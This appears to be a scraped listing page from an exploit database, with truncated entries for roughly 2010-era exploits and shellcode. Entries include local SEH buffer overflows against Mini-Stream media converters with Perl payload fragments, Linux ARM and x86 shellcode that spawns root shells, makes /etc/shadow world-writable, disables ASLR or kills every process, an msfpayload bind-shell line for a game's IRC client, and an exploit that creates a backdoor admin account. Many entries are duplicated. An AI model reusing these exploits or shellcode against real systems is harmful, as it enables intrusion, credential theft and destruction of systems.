Mini-stream RM-MP3 Converter 3.1.2.1 - '.m3u' Local Buffer Overflow

By Madjix Dz8athotmaildotcom Greets: myself for find the bug : Exploit-DB Notes: 000DBF98 41414141 AAAA 000DBF9C 41414141 AAAA 000DBFA0 41414141 AAAA 000DBFA4 41414141 AAAA Pointer to next SEH record 000DBFA8 41414141 AAAA SE handler 000DBFAC FFFFFFFF ÿÿÿÿ 000DBFB0 7C87F317 ó‡| kernel32.7C87F317...

Mini-Stream RM-MP3 Converter v3.1.2.1 Buffer Overflow Exploit (SEH)

Exploit for windows platform in category local exploits =================================================================== Mini-Stream RM-MP3 Converter v3.1.2.1 Buffer Overflow Exploit SEH ===================================================================...

Linux/ARM - Disable ASLR Security - 102 bytes

Linux/ARM - Disable ASLR Security - 102 bytes. Shellcode exploit for linux platform / Title: Linux/ARM - Disable ASLR Security - 102 bytes Date: 2010-06-20 Tested: Linux ARM9 2.6.28-6-versatile Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Database of...

PDF Files Containing Embedded Adobe Flash Movies (CVE-2010-1297; CVE-2010-2168; CVE-2010-2201)

Multiple vulnerabilities have been reported in Adobe Reader and Acrobat when handling PDF files that contain embedded Adobe Flash movies. A remote attacker could trigger these flaws via a specially crafted PDF file. Successful exploitation will create a denial of service condition, causing the...

Linux/ARM - polymorphic chmod"/etc/shadow", 0777 84 Bytes

Linux/ARM - polymorphic chmod"/etc/shadow", 0777 - 84 Bytes. Shellcode exploit for linux platform / | Title: Linux/ARM - polymorphic chmod"/etc/shadow", 0777 - 84 Bytes | Type: Shellcode | Author: Florian Gaultier | Platform: Linux ARM ARM926EJ-S rev 5 v51 | + http://www.shell-storm.org / include...

linux/ARM - Disable ASLR Security - 102 bytes

Exploit for linux/x86 platform in category shellcode ============================================= linux/ARM - Disable ASLR Security - 102 bytes ============================================= / Title: Linux/ARM - Disable ASLR Security - 102 bytes Date: 2010-06-20 Tested: Linux ARM9...

UFO - Alien Invasion 2.2.1 Remote Code Execution

!/usr/bin/python UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX Author: dookie Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013 import sys, socket, struct msfpayload osx/x86/vforkshellbindtcp R | msfencode -b '\x00\x0a\x0d' -t c shellcode = "\x90" 16...

Polymorphic /bin/sh x86 linux shellcode

Polymorphic /bin/sh x86 linux shellcode. Shellcode exploit for linx86 platform / Title : Polymorphic /bin/sh x86 linux shellcode . Name : 116 bytes /bin/sh x86 linux polymorphic shellcode . Date : Tue Jun 29 22:08:59 WIT 2010 . Author : gunslinger Web : http://devilzc0de.org blog :...

Sysax Multi Server Add Administrator

Assuming the server is running as admin the overflow can actually be used to execute arbitrary code. In our example we spawn an instance of cmd.exe and create a new admin, Billyboy, with a password of woot. This has been tested with Windows XP SP2. +-------- Start Exploit --------+ import paramik...

linux/x86 Polymorphic /bin/sh shellcode 116 bytes

Exploit for linux/x86 platform in category shellcode ================================================= linux/x86 Polymorphic /bin/sh shellcode 116 bytes ================================================= / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ ...

linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes

Exploit for linux/x86 platform in category shellcode ==================================================== linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes ==================================================== / Title: Linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes Kill all processes Date:...

Linux/ARM - setuid0 & kill-1, SIGKILL 28 bytes

Linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes. Shellcode exploit for linux platform / Title: Linux/ARM - setuid0 & kill-1, SIGKILL - 28 bytes Kill all processes Date: 2010-06-29 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan...

linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes

Exploit for linux/x86 platform in category shellcode ======================================================= linux/ARM chmod"/etc/shadow", 0777 Shellcode 35 Bytes ======================================================= / | Title: Linux/ARM chmod"/etc/shadow", 0777 Shellcode 35 Bytes | Type:...

Linux/ARM - setuid0 & execve"/bin/sh","/bin/sh",0 38 bytes

Linux/ARM - setuid0 & execve"/bin/sh","/bin/sh",0 - 38 bytes. Shellcode exploit for linux platform / Title: Linux/ARM - setuid0 & execve"/bin/sh","/bin/sh",0 - 38 bytes Date: 2010-06-29 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org |...

Linux/ARM chmod"/etc/shadow", 0777 Shellcode 35 Bytes

Linux/ARM chmod"/etc/shadow", 0777 Shellcode 35 Bytes. Shellcode exploit for linux platform / | Title: Linux/ARM chmod"/etc/shadow", 0777 Shellcode 35 Bytes | Type: Shellcode | Author: Florian Gaultier | Platform: Linux ARM ARM926EJ-S rev 5 v51 | + http://www.shell-storm.org / include char...

linux/ARM - setuid(0) & execve("/bin/sh","/bin/sh",0) - 38 bytes

Exploit for linux/x86 platform in category shellcode ================================================================ linux/ARM - setuid0 & execve"/bin/sh","/bin/sh",0 - 38 bytes ================================================================ / Title: Linux/ARM - setuid0 &...

linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes

Exploit for linux/x86 platform in category shellcode ==================================================== linux/ARM - execve"/bin/sh","/bin/sh",0 - 30 bytes ==================================================== / Title: Linux/ARM - execve"/bin/sh","/bin/sh",0 - 30 bytes Date: 2010-06-28 Tested:...

Linux/ARM - execve"/bin/sh","/bin/sh",0 30 bytes

Linux/ARM - execve"/bin/sh","/bin/sh",0 - 30 bytes. Shellcode exploit for linux platform / Title: Linux/ARM - execve"/bin/sh","/bin/sh",0 - 30 bytes Date: 2010-06-28 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of...

UFO: Alien Invasion 2.2.1 (OSX) - Remote Code Execution

!/usr/bin/python UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX Author: dookie Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013 import sys, socket, struct msfpayload osx/x86/vforkshellbindtcp R | msfencode -b '\x00\x0a\x0d' -t c shellcode = "\x90" 16...

RM Downloader 3.1.3 - Local Buffer Overflow (SEH)

RM Downloader 3.1.3 - Local Buffer Overflow SEH !/usr/bin/perl RM Downloader 3.1.3 Local stack BOF Download : http://www.mini-stream.net/downloads/RMDownloader.exe By Madjix Dz8athotmaildotcom my $hd = "EXTM3U\n" ; my $jnk="\x41" x 43488 ; my $nseh="\xeb\x06\x90\x90" ; my $seh="\x16\xBE\x87\x7C" ...